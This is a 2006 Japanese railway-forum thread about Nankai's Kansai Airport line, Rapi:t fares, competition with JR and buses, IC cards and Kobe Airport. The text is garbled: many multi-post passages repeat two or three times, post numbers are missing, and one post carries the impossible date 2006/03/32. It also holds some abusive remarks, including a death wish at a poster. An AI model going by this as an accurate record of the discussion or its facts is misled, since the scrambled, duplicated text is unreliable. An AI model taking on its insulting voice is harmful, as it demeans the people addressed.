南海と関空 ２
1 ：名無しでGO!：
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2 ：名無しでGO!：2006/02/28(火) 01:04:55 ID:HJd1h4Pf0
2
kusosure
4 ：名無しでGO!：2006/02/28(火) 01:14:55 ID:u9vJYgS20
ryosure
5 ：名無しでGO!：2006/02/28(火) 22:48:21 ID:2RXK8XKe0
あげ
6 ：名無しでGO!：2006/02/28(火) 22:49:47 ID:8M+iERbK0
>>1 優良スレ乙&保守
7 ：名無しでGO!：2006/03/01(水) 22:19:56 ID:BOvz50W5O
さあ、新スレを大事にしていこうか。
8 ：名無しでGO!：2006/03/01(水) 22:29:05 ID:JfjRE3ta0
このスレを引っ越し先に指定しました。
9 ：名無しでGO!：2006/03/03(金) 21:02:33 ID:htxSsaxvO
却下しました
セミクロスがいいな♪Ｅ２３１みたいなの。
11 ：名無しでGO!：2006/03/07(火) 00:10:06 ID:xjZQXGvbO
保守
12 ：名無しでGO!：2006/03/09(木) 03:03:25 ID:Ws+YlrzP0
最近は関空も落ち着いているよな。何があるわけでもなく。
13 ：名無しでGO!：2006/03/12(日) 00:15:24 ID:AXSzr3vW0
age
14 ：名無しでGO!：2006/03/14(火) 00:25:55 ID:Kplhv/kC0
age
15 ：名無しでGO!：2006/03/15(水) 00:33:43 ID:4KUfQKvtP
変な奴が不法入国したがな
16 ：名無しでGO!：2006/03/16(木) 19:55:31 ID:OihfN/UrO
age
17 ：名無しでGO!：2006/03/20(月) 17:14:37 ID:qZc+ch6Q0
神戸行ってきた。
やっぱり関空はでか過ぎると思った。
やっぱり関空はでか過ぎると思った。
神戸空港、思ってたよりしょぼいな。
那覇空港より小さいぐらいだし、建物もプレハブみたいな感じだった。
那覇空港より小さいぐらいだし、建物もプレハブみたいな感じだった。
北摂中華思想がRJにまで波及している件
ＲＪは自社への抗議・反論は徹底無視だから２ｃｈで叩くしかないな
sage保守
3年はスレを持たすぞ！
3年はスレを持たすぞ！
PiTaPaｷﾀ━━━━━(ﾟ∀ﾟ)━━━━━!!
24 ：名無しでGO!：2006/03/26(日) 22:09:35 ID:ETKQXbHYO
PiTaPaよりICOCA方式がええな。ま、親会社は南海やからな。
25 ：名無しでGO!：2006/03/28(火) 23:01:30 ID:XBS7mbxr0
つか、minapitaと統合しる
26 ：名無しでGO!：2006/03/29(水) 02:18:10 ID:USRmWnTUO
北摂中華思想ﾜﾛｽwww
思うんだけど南海本線か阪和線どちらかを一回潰して全面高架でHSSTにしたらアクセス時間がかなり速くなるんじゃない？
妄想の域だけど。
思うんだけど南海本線か阪和線どちらかを一回潰して全面高架でHSSTにしたらアクセス時間がかなり速くなるんじゃない？
妄想の域だけど。
27 ：名無しでGO!：2006/03/31(金) 20:04:15 ID:UVLTJ/1h0
age
sage
保守
また南海線が乱れてきた。空港線が不通になったらしい。最近多過ぎで困るわ。前のダイヤ改正で空港線の列車を増やしたからリカバリーが効かなくなったぽい。
初めから海底トンネルにしとけば良かったのに。ついでに神戸空港まで海底トンネルを税金で掘っとけや。
飛行機を利用する時には不通が心配で利用できない空港線は税金の無駄遣い。さあね。過去の労使交渉で今より遅くするのは考えにくい。
仮に出発を繰り下げたら行き先を変更するんとちゃうかと。ポイントは相互に貯めれるみたいだから無理に統合しなくても問題ない。使い方でどちらが得か考えて選んだらいいだけ。
関空〜神戸空港の地下鉄道構想は調べたら7000億円と見積もりが出ていた。リニア駆動の小型車両だとのこと。着工されたら南海は業務を受託すると思われ。
関空会社は苦しむが、南海は海底リニアに客が乗らなくても安定した収入を得られるようになる美味しい話。
空港つながり関西空港駅の成分解析結果 :関西空港駅の74%は電波で出来ています。関西空港駅の11%は気合で出来ています。関西空港駅の6%は濃硫酸で出来ています。
関西空港駅の4%は蛇の抜け殻で出来ています。関西空港駅の2%は血で出来ています。関西空港駅の2%は覚悟で出来ています。関西空港駅の1%は時間で出来ています。
南海空港線の成分解析結果 :南海空港線の56%は赤い何かで出来ています。南海空港線の29%は見栄で出来ています。南海空港線の7%は鉄の意志で出来ています。
南海空港線の6%は嘘で出来ています。南海空港線の1%は鍛錬で出来ています。南海空港線の1%は罠で出来ています。
初めから海底トンネルにしとけば良かったのに。ついでに神戸空港まで海底トンネルを税金で掘っとけや。
飛行機を利用する時には不通が心配で利用できない空港線は税金の無駄遣い。さあね。過去の労使交渉で今より遅くするのは考えにくい。
仮に出発を繰り下げたら行き先を変更するんとちゃうかと。ポイントは相互に貯めれるみたいだから無理に統合しなくても問題ない。使い方でどちらが得か考えて選んだらいいだけ。
関空〜神戸空港の地下鉄道構想は調べたら7000億円と見積もりが出ていた。リニア駆動の小型車両だとのこと。着工されたら南海は業務を受託すると思われ。
関空会社は苦しむが、南海は海底リニアに客が乗らなくても安定した収入を得られるようになる美味しい話。
空港つながり関西空港駅の成分解析結果 :関西空港駅の74%は電波で出来ています。関西空港駅の11%は気合で出来ています。関西空港駅の6%は濃硫酸で出来ています。
関西空港駅の4%は蛇の抜け殻で出来ています。関西空港駅の2%は血で出来ています。関西空港駅の2%は覚悟で出来ています。関西空港駅の1%は時間で出来ています。
南海空港線の成分解析結果 :南海空港線の56%は赤い何かで出来ています。南海空港線の29%は見栄で出来ています。南海空港線の7%は鉄の意志で出来ています。
南海空港線の6%は嘘で出来ています。南海空港線の1%は鍛錬で出来ています。南海空港線の1%は罠で出来ています。
おまけ大阪空港の成分解析結果 :大阪空港の66%は勇気で出来ています。大阪空港の24%は魔法で出来ています。大阪空港の6%は鍛錬で出来ています。
大阪空港の3%はミスリルで出来ています。大阪空港の1%は利益で出来ています。神戸空港の成分解析結果 :神戸空港の64%は血で出来ています。
神戸空港の27%は蛇の抜け殻で出来ています。神戸空港の5%は電波で出来ています。神戸空港の3%は食塩で出来ています。神戸空港の1%は宇宙の意思で出来ています。
阪堺電気軌道の成分解析結果 :阪堺電気軌道の83%は夢で出来ています。阪堺電気軌道の17%は気合で出来ています。大阪空港と阪堺は何かいいねぇ。神戸空港はやっぱりだな。
ポートライナーの成分解析結果 :ポートライナーの69%は成功の鍵で出来ています。ポートライナーの18%は信念で出来ています。ポートライナーの10%は努力で出来ています。
ポートライナーの2%はむなしさで出来ています。ポートライナーの1%は大人の都合で出来ています。神戸新交通8000型の成分解析結果 :神戸新交通8000型の63%は怨念で出来ています。
神戸新交通8000型の21%は世の無常さで出来ています。神戸新交通8000型の9%は魔法で出来ています。神戸新交通8000型の6%は濃硫酸で出来ています。神戸新交通8000型の1%は野望で出来ています。
神戸新交通2000型の成分解析結果 :神戸新交通2000型の43%は砂糖で出来ています。神戸新交通2000型の29%は純金で出来ています。神戸新交通2000型の8%は柳の樹皮で出来ています。
神戸新交通2000型の7%は波動で出来ています。神戸新交通2000型の5%は着色料で出来ています。神戸新交通2000型の4%は理論で出来ています。神戸新交通2000型の2%はアルコールで出来ています。
神戸新交通2000型の1%は華麗さで出来ています。神戸新交通2000型の1%は乙女心で出来ています。空港アクセス編大阪高速鉄道の成分解析結果 :大阪高速鉄道の85%は利益で出来ています。
大阪高速鉄道の9%は欲望で出来ています。大阪高速鉄道の6%は度胸で出来ています。モノレールは黒字化してるらしいし。大阪府が絡んだ北急、泉北高速、大阪高速みんないい感じですわ。
大阪市の方は鉄道は経営が上手くいってない感じ。
大阪空港の3%はミスリルで出来ています。大阪空港の1%は利益で出来ています。神戸空港の成分解析結果 :神戸空港の64%は血で出来ています。
神戸空港の27%は蛇の抜け殻で出来ています。神戸空港の5%は電波で出来ています。神戸空港の3%は食塩で出来ています。神戸空港の1%は宇宙の意思で出来ています。
阪堺電気軌道の成分解析結果 :阪堺電気軌道の83%は夢で出来ています。阪堺電気軌道の17%は気合で出来ています。大阪空港と阪堺は何かいいねぇ。神戸空港はやっぱりだな。
ポートライナーの成分解析結果 :ポートライナーの69%は成功の鍵で出来ています。ポートライナーの18%は信念で出来ています。ポートライナーの10%は努力で出来ています。
ポートライナーの2%はむなしさで出来ています。ポートライナーの1%は大人の都合で出来ています。神戸新交通8000型の成分解析結果 :神戸新交通8000型の63%は怨念で出来ています。
神戸新交通8000型の21%は世の無常さで出来ています。神戸新交通8000型の9%は魔法で出来ています。神戸新交通8000型の6%は濃硫酸で出来ています。神戸新交通8000型の1%は野望で出来ています。
神戸新交通2000型の成分解析結果 :神戸新交通2000型の43%は砂糖で出来ています。神戸新交通2000型の29%は純金で出来ています。神戸新交通2000型の8%は柳の樹皮で出来ています。
神戸新交通2000型の7%は波動で出来ています。神戸新交通2000型の5%は着色料で出来ています。神戸新交通2000型の4%は理論で出来ています。神戸新交通2000型の2%はアルコールで出来ています。
神戸新交通2000型の1%は華麗さで出来ています。神戸新交通2000型の1%は乙女心で出来ています。空港アクセス編大阪高速鉄道の成分解析結果 :大阪高速鉄道の85%は利益で出来ています。
大阪高速鉄道の9%は欲望で出来ています。大阪高速鉄道の6%は度胸で出来ています。モノレールは黒字化してるらしいし。大阪府が絡んだ北急、泉北高速、大阪高速みんないい感じですわ。
大阪市の方は鉄道は経営が上手くいってない感じ。
株式の投資資料の本では、関西私鉄で乗客の減少に歯止めがかかっていないのは南海だと。
阪急や阪神や京阪とか持直し、近鉄は万博や新線も後押しし攻めに転じるとも。南海はリストラが不十分だとも。
乗客はすでにバブル期前の水準なんでしょ？オール各駅停車で良くない？急行の停車駅とか論議する環境でないと思う。
黎明期のごとくオール各駅停車でよろしいかと。各駅停車も退避なしなら案外速いんですよ。
２００７年度のダイヤ改正とのこと。伊丹空港や神戸空港に対抗するにはこれしかないですし。
阪急梅田〜大阪空港は、蛍池の４分の乗換えを考慮しても２０分。列車もそれぞれ１０分間隔の運転で客数を伸ばした実績がありますよ。
なるほど。それは難しいと思いますよ。単純に利用率が低迷している日中のラピートを空港急行に置き換えるだけだからね。
阪急のようにきれいな１０分間隔にもならないと思うし。南海にはあまり期待しないほうがいいと考えているよ。
そのなにわ筋線構想は消えたのでは？大阪市などが代替策として、四つ橋線西梅田駅から阪急十三駅まで延伸するようにしたはずです。
十三駅からは阪急宝塚線と少しの区間を併走して新大阪に向かいます。今度の新大阪駅新幹線ホーム増築でもその為のスペースは確保されています。
なお土地は阪急が所有しています。西梅田駅はかなりの大工事になるそうです。
阪急や阪神や京阪とか持直し、近鉄は万博や新線も後押しし攻めに転じるとも。南海はリストラが不十分だとも。
乗客はすでにバブル期前の水準なんでしょ？オール各駅停車で良くない？急行の停車駅とか論議する環境でないと思う。
黎明期のごとくオール各駅停車でよろしいかと。各駅停車も退避なしなら案外速いんですよ。
２００７年度のダイヤ改正とのこと。伊丹空港や神戸空港に対抗するにはこれしかないですし。
阪急梅田〜大阪空港は、蛍池の４分の乗換えを考慮しても２０分。列車もそれぞれ１０分間隔の運転で客数を伸ばした実績がありますよ。
なるほど。それは難しいと思いますよ。単純に利用率が低迷している日中のラピートを空港急行に置き換えるだけだからね。
阪急のようにきれいな１０分間隔にもならないと思うし。南海にはあまり期待しないほうがいいと考えているよ。
そのなにわ筋線構想は消えたのでは？大阪市などが代替策として、四つ橋線西梅田駅から阪急十三駅まで延伸するようにしたはずです。
十三駅からは阪急宝塚線と少しの区間を併走して新大阪に向かいます。今度の新大阪駅新幹線ホーム増築でもその為のスペースは確保されています。
なお土地は阪急が所有しています。西梅田駅はかなりの大工事になるそうです。
33 ：名無しでGO!：2006/03/32(土) 02:09:27 ID:8BtZidkbO
国策として南海本線を２階建ての全面高架（連絡橋はトンネル）のHSSTにすれば難波‐関空間を２０分台に出来るんじゃね？
もともと成田へのアクセス改善の為に開発されたリニアだし、最高速で長く走れる分だけ時間短縮が出来る。
もともと成田へのアクセス改善の為に開発されたリニアだし、最高速で長く走れる分だけ時間短縮が出来る。
引越厨死ね
昨日、久しぶりに空港線（関空〜りんくうタウン）を利用してきた。
２３時を過ぎるとさすがに利用者はほとんどいないな。ＪＲの方はそこそこ利用されていたみたいだが。
俺は南海の方を利用した（スル関３ｄａｙ）がＪＲなら同じ区間をＩＣＯＣＡやＰｉＴａＰａでも利用できるんだな。
南海はやっと夏に導入だったけど普及するのか。
空港島ではＪＲがＪＲのカードを持っているとホテルの宿泊料金が割引になり、ラウンジもカードの提示で利用できるそうだ。
南海も負けじといいサービスを提供すると期待している。
南海のクレジットカード・ミナピタでもたしかラウンジは一時間無料でホテルの割引もあったはずだよ
今度発行される関空クラブカードもどちらかと言うと南海との結びつきが強い印象
２３時を過ぎるとさすがに利用者はほとんどいないな。ＪＲの方はそこそこ利用されていたみたいだが。
俺は南海の方を利用した（スル関３ｄａｙ）がＪＲなら同じ区間をＩＣＯＣＡやＰｉＴａＰａでも利用できるんだな。
南海はやっと夏に導入だったけど普及するのか。
空港島ではＪＲがＪＲのカードを持っているとホテルの宿泊料金が割引になり、ラウンジもカードの提示で利用できるそうだ。
南海も負けじといいサービスを提供すると期待している。
南海のクレジットカード・ミナピタでもたしかラウンジは一時間無料でホテルの割引もあったはずだよ
今度発行される関空クラブカードもどちらかと言うと南海との結びつきが強い印象
36 ：名無しでGO!：2006/04/06(木) 20:44:43 ID:bEdq8dwq0
37 ：名無しでGO!：2006/04/07(金) 13:59:43 ID:/fVRzrxY0
復活祭
1966伊丹のＢ滑走路完成、ジェット就航騒音問題発生↓1967神戸、兵庫県の代替空港誘致運動
↓1968運輸省動く神戸、泉州、播磨、淡路 候補地に↓1968〜1973 泉州全市町、大阪府 空港設置反対決議
↓神戸沖に進めることで計画進む↓成田、伊丹を契機に、全国で騒音、公害反対運動活発化
↓1973世論の波に押されついに神戸も反対に回る↓1974運輸省、航空審議会に最適地選定を委ねる。
騒音、拡張の余裕、周辺開発の余裕から利便性にまさる神戸より泉州が最適と答申
↓答申で最適とされながらもこの間泉州市町反対決議撤回せず↓1980泉州の反対継続、
明らかになった地盤の影響による泉州沖案のコスト激増騒音の軽減、ポーアイ完成によるアクセス改善・周辺用地確保、
大規模開発への市民の理解を背景に関空神戸沖案が再提出される↓
1981〜1982 神戸側推進の動きをみて、泉州１１市町反対から急遽要望決議に団結
↓1982 反対決議を撤回した神戸が正式に誘致活動を始める
泉州推進派は、「神戸は関空を蹴ったくせに」を合言葉に猛烈反対
神戸空港の成田便が絶好調。搭乗率80％を超え、予想を上回る好調ぶりで、共同運航で様子見を図っていた全日空と
スカイマークが共同運航を打ち切り、両社自前で利益の確保に走ることになった。
その結果、関空と伊丹の利用客が神戸空港に奪われているという。
↓1968運輸省動く神戸、泉州、播磨、淡路 候補地に↓1968〜1973 泉州全市町、大阪府 空港設置反対決議
↓神戸沖に進めることで計画進む↓成田、伊丹を契機に、全国で騒音、公害反対運動活発化
↓1973世論の波に押されついに神戸も反対に回る↓1974運輸省、航空審議会に最適地選定を委ねる。
騒音、拡張の余裕、周辺開発の余裕から利便性にまさる神戸より泉州が最適と答申
↓答申で最適とされながらもこの間泉州市町反対決議撤回せず↓1980泉州の反対継続、
明らかになった地盤の影響による泉州沖案のコスト激増騒音の軽減、ポーアイ完成によるアクセス改善・周辺用地確保、
大規模開発への市民の理解を背景に関空神戸沖案が再提出される↓
1981〜1982 神戸側推進の動きをみて、泉州１１市町反対から急遽要望決議に団結
↓1982 反対決議を撤回した神戸が正式に誘致活動を始める
泉州推進派は、「神戸は関空を蹴ったくせに」を合言葉に猛烈反対
神戸空港の成田便が絶好調。搭乗率80％を超え、予想を上回る好調ぶりで、共同運航で様子見を図っていた全日空と
スカイマークが共同運航を打ち切り、両社自前で利益の確保に走ることになった。
その結果、関空と伊丹の利用客が神戸空港に奪われているという。
７０００系、６０００系をピカピカリフォームしませんか？当社は実績があるから請負まっせｂｙアルナ工機
残念ながら阪急の古い電車って南海と比べるとびっくりするほど手入れがいいな。
でも6000系の車体はアルナには無理だろ。
残念ながら阪急の古い電車って南海と比べるとびっくりするほど手入れがいいな。
でも6000系の車体はアルナには無理だろ。
７０００系だからこそアルナの技の発揮しどころじゃないか
阪急５０００系、３３００系を舐めてはいけない
阪急５０００系、３３００系を舐めてはいけない
阪急5000・3300＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞越えられない壁＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞＞南海7000
ですやん。やっても無駄。お金の無駄。無駄。無駄。
ですやん。やっても無駄。お金の無駄。無駄。無駄。
逆に聞きたい。来年には４０年選手となる阪急３３００系と５０００系は特別状態がいいのか？
それは南海7000系と阪急5000系やら3300系を更新する価値があるか比べたら、そら後者やろ。
あくまでも南海7000系みたいなウンコと比べたらの話や。そら世間一般の車両と比べたらｱﾎﾞｰﾝしたほうがええんやろう。
あくまでも南海7000系みたいなウンコと比べたらの話や。そら世間一般の車両と比べたらｱﾎﾞｰﾝしたほうがええんやろう。
伊丹空港を廃止にして特急ラピートは途中、新今宮のみ停車で時短。
代わりに今のラピートと同じ停車駅の指定席２両つないだ空港快急を運転する。
南海の生きる道はこれしかないよ。
代わりに今のラピートと同じ停車駅の指定席２両つないだ空港快急を運転する。
南海の生きる道はこれしかないよ。
46 ：GJ ◆4YpwuIg7fE ：2006/04/11(火) 22:08:32 ID:dyw7WziG0
今日鉄道ジャーナルを立ち読みしたが、投書欄に
南海のラピートがJR関空快速にすら負けているという誤った投稿があった。
しかも投稿者は東京の人だ。
ここに出没している西厨も川島の本だけで知識を得ている、
大阪以外の人が多いのかもしれない。
その投稿によれば最近は難波より梅田が賑わっているから
梅田に直通するJRが有利とあまりに的外れなことが書いてあった。
梅田に行く客の割合が少ないのは天王寺・新今宮で
乗客の大半が入れ替わることで明白だし、
梅田が便利としても梅田以外の大阪中心部は難波経由の方が便利だ。
しかも梅田〜関空といえば速くて快適なバスが圧勝。
遅くて快適性のない関空快速なんて乗る人はよほど定時性を気にするか、
バスの存在を知らない人くらいだ。
梅田〜関空でJRが使われていると思うあたり、川島の本でのみ
知識を得たことがよくわかる。
大阪市内〜関空で南海が勝っている事はジャーナルの記事のもあったし、
空港輸送のシェアが南海が増加傾向、JRが減少傾向なのも
データが示している。
難波の乗り換えが不便で近鉄沿線からは上本町経由のバスが多く利用され
南海利用があまり多くないのは誤算だろうが。
南海のラピートがJR関空快速にすら負けているという誤った投稿があった。
しかも投稿者は東京の人だ。
ここに出没している西厨も川島の本だけで知識を得ている、
大阪以外の人が多いのかもしれない。
その投稿によれば最近は難波より梅田が賑わっているから
梅田に直通するJRが有利とあまりに的外れなことが書いてあった。
梅田に行く客の割合が少ないのは天王寺・新今宮で
乗客の大半が入れ替わることで明白だし、
梅田が便利としても梅田以外の大阪中心部は難波経由の方が便利だ。
しかも梅田〜関空といえば速くて快適なバスが圧勝。
遅くて快適性のない関空快速なんて乗る人はよほど定時性を気にするか、
バスの存在を知らない人くらいだ。
梅田〜関空でJRが使われていると思うあたり、川島の本でのみ
知識を得たことがよくわかる。
大阪市内〜関空で南海が勝っている事はジャーナルの記事のもあったし、
空港輸送のシェアが南海が増加傾向、JRが減少傾向なのも
データが示している。
難波の乗り換えが不便で近鉄沿線からは上本町経由のバスが多く利用され
南海利用があまり多くないのは誤算だろうが。
47 ：GJ ◆4YpwuIg7fE ：2006/04/11(火) 22:13:31 ID:dyw7WziG0
空港輸送のシェア低下が目立つJR西日本は大阪市内〜関空でも
南海やバスに勝負を挑むべきだろう。
現在では京都や新幹線乗り継ぎメインで、大阪市内〜関空の輸送に
全く力を入れていないからな。
具体的には「はるか」の2本に1本を京橋に乗り入れさせるのがいい。
容量が足りないなら関空快速を天王寺止めかJR難波行きにすればいい。
これで料金を是正すれば梅田〜関空でもJRはバスに対抗できる。
阪和線快速も遠近分離の観点から半数は堺市・三国ヶ丘通過の
特別快速にしたらいい。
南海やバスに勝負を挑むべきだろう。
現在では京都や新幹線乗り継ぎメインで、大阪市内〜関空の輸送に
全く力を入れていないからな。
具体的には「はるか」の2本に1本を京橋に乗り入れさせるのがいい。
容量が足りないなら関空快速を天王寺止めかJR難波行きにすればいい。
これで料金を是正すれば梅田〜関空でもJRはバスに対抗できる。
阪和線快速も遠近分離の観点から半数は堺市・三国ヶ丘通過の
特別快速にしたらいい。
◆Gよここはお前専用スレじゃない。
専用スレに帰れ！
専用スレに帰れ！
そのときのことだが今思えば無駄に２２０００系８両廃止した感があるな２両は熊電行きが決まってたかもしれないが
６両の廃止はまったくの無駄高野に２２００系６両残しておけば２０００系の余剰車を無駄に出さずに済んだ
ふんにゃ？？？２０００系登場までは２１０００系と２２０００系の独断場だったではないか。
神戸空港が開港し関空も第二滑走路の供用がはじまるのですから空港が今のままということはないでしょう。減便対象は騒音問題抱える伊丹空港にならざるを得ない。
北海道、東北、沖縄に福岡除く九州の発着便は一部神戸で大半は関空発着となり伊丹空港からはプロペラのコミューター機以外これら方面は完全撤退
政府は否応なくアクションを起こすと私は考えます。旅客の荷物の少ない関空からの国内線発着便の増加は南海にはプラスに作用するでしょう。
ラピートとサザンは羽衣と泉大津に停めちゃったらどうでしょう。ついでに特急料金もレギュラーは名鉄水準の３００円に、スーパーは５００円に値下げ。
速達性は失われるけれど特急の区間利用者は案外多い。堺から難波行くにも、わざわざ５００円払って先発のラピートに乗るひとがいるわけですから。
特に今のダイヤならよりその傾向が強くなってる。空気輸送するくらいなら３００円にして２倍強の特急の乗客が確保できるなら
南海の経営的にはむしろプラスでしょう。空港輸送はグローバルな国策的な影響を受けるから独自判断で撤退なのできない。
空港輸送を沿線利便に繋げる方策を考えたほうが現実的で有意義だと思いますがね。
６両の廃止はまったくの無駄高野に２２００系６両残しておけば２０００系の余剰車を無駄に出さずに済んだ
ふんにゃ？？？２０００系登場までは２１０００系と２２０００系の独断場だったではないか。
神戸空港が開港し関空も第二滑走路の供用がはじまるのですから空港が今のままということはないでしょう。減便対象は騒音問題抱える伊丹空港にならざるを得ない。
北海道、東北、沖縄に福岡除く九州の発着便は一部神戸で大半は関空発着となり伊丹空港からはプロペラのコミューター機以外これら方面は完全撤退
政府は否応なくアクションを起こすと私は考えます。旅客の荷物の少ない関空からの国内線発着便の増加は南海にはプラスに作用するでしょう。
ラピートとサザンは羽衣と泉大津に停めちゃったらどうでしょう。ついでに特急料金もレギュラーは名鉄水準の３００円に、スーパーは５００円に値下げ。
速達性は失われるけれど特急の区間利用者は案外多い。堺から難波行くにも、わざわざ５００円払って先発のラピートに乗るひとがいるわけですから。
特に今のダイヤならよりその傾向が強くなってる。空気輸送するくらいなら３００円にして２倍強の特急の乗客が確保できるなら
南海の経営的にはむしろプラスでしょう。空港輸送はグローバルな国策的な影響を受けるから独自判断で撤退なのできない。
空港輸送を沿線利便に繋げる方策を考えたほうが現実的で有意義だと思いますがね。
南海は本当にお金に関してはセコイ。回数券の有効期限も未だに正味３ヶ月のまま。
阪急、阪神、大阪モノレールなどは最大４ヶ月。（大阪市交は無期限）それらは土休回数券や時差回数券では使用回数を半分にする変わりに運賃を５回分にしたハーフ回数券もある。
正直なところ南海のような３ヶ月で１４回の土休回数券を使い切るのは難しい。普通回数券に至っては南海は運賃２０回分の２２回券というのを発売している。
阪急のようなハーフ回数券なら大人３人の往復でも利用も便利。その場合は帰りの運賃は一人分が無料になる計算になる。
元から運賃の安い会社が割引が積極的で、元から運賃の高い南海が割引に消極的なのはいかがなものか。これらは南海の企業体質の表れ。
過去にも賃金引上げの原資として運賃を引き上げた会社だけのことはある。未だに列車を走らせれば客が来るとしか考えていない証拠。
阪急や京阪なんかはその時の経営努力だけに留まらず将来のコスト削減を見越して今の運賃にしたという。
泉北線の大阪市内方面行きの旅客を根こそぎ地下鉄に持っていかれたのも当然の結果。
古き良き時代の鉄道では生き残れない。会社存続の危機をどう乗り越えるかが見物。奮起を促す南海への苦言ですた。
阪急、阪神、大阪モノレールなどは最大４ヶ月。（大阪市交は無期限）それらは土休回数券や時差回数券では使用回数を半分にする変わりに運賃を５回分にしたハーフ回数券もある。
正直なところ南海のような３ヶ月で１４回の土休回数券を使い切るのは難しい。普通回数券に至っては南海は運賃２０回分の２２回券というのを発売している。
阪急のようなハーフ回数券なら大人３人の往復でも利用も便利。その場合は帰りの運賃は一人分が無料になる計算になる。
元から運賃の安い会社が割引が積極的で、元から運賃の高い南海が割引に消極的なのはいかがなものか。これらは南海の企業体質の表れ。
過去にも賃金引上げの原資として運賃を引き上げた会社だけのことはある。未だに列車を走らせれば客が来るとしか考えていない証拠。
阪急や京阪なんかはその時の経営努力だけに留まらず将来のコスト削減を見越して今の運賃にしたという。
泉北線の大阪市内方面行きの旅客を根こそぎ地下鉄に持っていかれたのも当然の結果。
古き良き時代の鉄道では生き残れない。会社存続の危機をどう乗り越えるかが見物。奮起を促す南海への苦言ですた。
51 ： ◆4YpwuIg7fE ：2006/04/12(水) 23:24:35 ID:XnSwndjA0
最新データではJR増加、南海減少だった。
お詫びして訂正する。
南海のシェア増加、JRのシェア減少はH15年まで。
お詫びして訂正する。
南海のシェア増加、JRのシェア減少はH15年まで。
52 ：名無しでGO!：2006/04/12(水) 23:36:22 ID:y0QVud3LO
昨日ラピートで関空に行ったが安くていいんじゃない。てかJRは成田もそうだけど金取りすぎ
54 ：名無しでGO!：2006/04/13(木) 07:39:49 ID:GfaoGDdEO
泉北高速が関空まで延びてたらどうなってたと思う？
55 ：名無しでGO!：2006/04/13(木) 21:42:37 ID:NfFGg4OE0
>>50 南海は実質的に片輸送だからね。阪急や阪神みたいに政令指定都市を結ぶ路線とは違う。
南海本線はいちおう都市間路線のはずだが、和歌山の求心力が小さすぎて、都市間連絡とは
言いづらい。むしろなんば〜関西空港のほうが都市間路線に近いものがある。
泉佐野以南の普通ワンマンとはねえ。阪急や京阪では４連なんて支線運用だよ。
南海本線はいちおう都市間路線のはずだが、和歌山の求心力が小さすぎて、都市間連絡とは
言いづらい。むしろなんば〜関西空港のほうが都市間路線に近いものがある。
泉佐野以南の普通ワンマンとはねえ。阪急や京阪では４連なんて支線運用だよ。
>>55
4連の話を出すなら比較に阪神を出すなよ。鬱になる。
4連の話を出すなら比較に阪神を出すなよ。鬱になる。
>>55
コピペ荒らしの引越厨にレスをしないで下さい。
コピペ荒らしの引越厨にレスをしないで下さい。
神戸空港が開港し関空も第二滑走路の供用がはじまるのですから空港が今のままということはないでしょう。
減便対象は騒音問題抱える伊丹空港にならざるを得ない。
北海道、東北、沖縄に福岡除く九州の発着便は一部神戸で大半は関空発着となり伊丹空港からはプロペラのコミューター機以外これら方面は完全撤退
政府は否応なくアクションを起こすと私は考えます。旅客の荷物の少ない関空からの国内線発着便の増加は南海にはプラスに作用するでしょう。
ラピートとサザンは羽衣と泉大津に停めちゃったらどうでしょう。ついでに特急料金もレギュラーは名鉄水準の３００円に、スーパーは５００円に値下げ。
速達性は失われるけれど特急の区間利用者は案外多い。堺から難波行くにも、わざわざ５００円払って先発のラピートに乗るひとがいるわけですから。
特に今のダイヤならよりその傾向が強くなってる。空気輸送するくらいなら３００円にして２倍強の特急の乗客が確保できるなら
南海の経営的にはむしろプラスでしょう。空港輸送はグローバルな国策的な影響を受けるから独自判断で撤退なのできない。
空港輸送を沿線利便に繋げる方策を考えたほうが現実的で有意義だと思いますがね。
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南海は経営難南海は経営難
減便対象は騒音問題抱える伊丹空港にならざるを得ない。
北海道、東北、沖縄に福岡除く九州の発着便は一部神戸で大半は関空発着となり伊丹空港からはプロペラのコミューター機以外これら方面は完全撤退
政府は否応なくアクションを起こすと私は考えます。旅客の荷物の少ない関空からの国内線発着便の増加は南海にはプラスに作用するでしょう。
ラピートとサザンは羽衣と泉大津に停めちゃったらどうでしょう。ついでに特急料金もレギュラーは名鉄水準の３００円に、スーパーは５００円に値下げ。
速達性は失われるけれど特急の区間利用者は案外多い。堺から難波行くにも、わざわざ５００円払って先発のラピートに乗るひとがいるわけですから。
特に今のダイヤならよりその傾向が強くなってる。空気輸送するくらいなら３００円にして２倍強の特急の乗客が確保できるなら
南海の経営的にはむしろプラスでしょう。空港輸送はグローバルな国策的な影響を受けるから独自判断で撤退なのできない。
空港輸送を沿線利便に繋げる方策を考えたほうが現実的で有意義だと思いますがね。
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南海は経営難南海は経営難
新年度になって、珍作もニート生活が変わらず
精神的に不安定な状態が続いているようだな。
精神的に不安定な状態が続いているようだな。
テスト
テスト
南海はぼろい
株式の投資資料の本では、関西私鉄で乗客の減少に歯止めがかかっていないのは南海だと。
阪急や阪神や京阪とか持直し、近鉄は万博や新線も後押しし攻めに転じるとも。南海はリストラが不十分だとも。
乗客はすでにバブル期前の水準なんでしょ？オール各駅停車で良くない？急行の停車駅とか論議する環境でないと思う。
黎明期のごとくオール各駅停車でよろしいかと。各駅停車も退避なしなら案外速いんですよ。
２００７年度のダイヤ改正とのこと。伊丹空港や神戸空港に対抗するにはこれしかないですし。
阪急梅田〜大阪空港は、蛍池の４分の乗換えを考慮しても２０分。列車もそれぞれ１０分間隔の運転で客数を伸ばした実績がありますよ。
なるほど。それは難しいと思いますよ。単純に利用率が低迷している日中のラピートを空港急行に置き換えるだけだからね。
阪急のようにきれいな１０分間隔にもならないと思うし。南海にはあまり期待しないほうがいいと考えているよ。
そのなにわ筋線構想は消えたのでは？大阪市などが代替策として、四つ橋線西梅田駅から阪急十三駅まで延伸するようにしたはずです。
十三駅からは阪急宝塚線と少しの区間を併走して新大阪に向かいます。今度の新大阪駅新幹線ホーム増築でもその為のスペースは確保されています。
なお土地は阪急が所有しています。西梅田駅はかなりの大工事になるそうです。
阪急や阪神や京阪とか持直し、近鉄は万博や新線も後押しし攻めに転じるとも。南海はリストラが不十分だとも。
乗客はすでにバブル期前の水準なんでしょ？オール各駅停車で良くない？急行の停車駅とか論議する環境でないと思う。
黎明期のごとくオール各駅停車でよろしいかと。各駅停車も退避なしなら案外速いんですよ。
２００７年度のダイヤ改正とのこと。伊丹空港や神戸空港に対抗するにはこれしかないですし。
阪急梅田〜大阪空港は、蛍池の４分の乗換えを考慮しても２０分。列車もそれぞれ１０分間隔の運転で客数を伸ばした実績がありますよ。
